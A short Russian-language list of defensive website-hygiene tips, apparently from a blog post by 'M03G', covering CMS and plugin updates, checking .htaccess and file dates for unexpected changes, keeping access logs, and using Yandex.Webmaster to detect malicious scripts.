- Обновляйте используемые CMS/плагины/модули до актуальных версий.
- Поглядывайте в .htaccess на наличие в нём того, чего Вы не добавляли.
- Поглядывайте на структуру сайта — файлы со странными именами всегда заметны.
- Не стоит пренебрегать ведением логов доступа к сайту — они могут помочь в выявлении уязвимостей, использованных злоумышленниками.
- Яндекс.Вебмастер может достаточно быстро обнаружить на Вашем сайте вредоносные скрипты.
- Поглядывайте на дату последнего редактирования файлов. Если Вы уверены, что в тот день ничего не меняли — стоит задуматься и принять меры.
Автор: M03G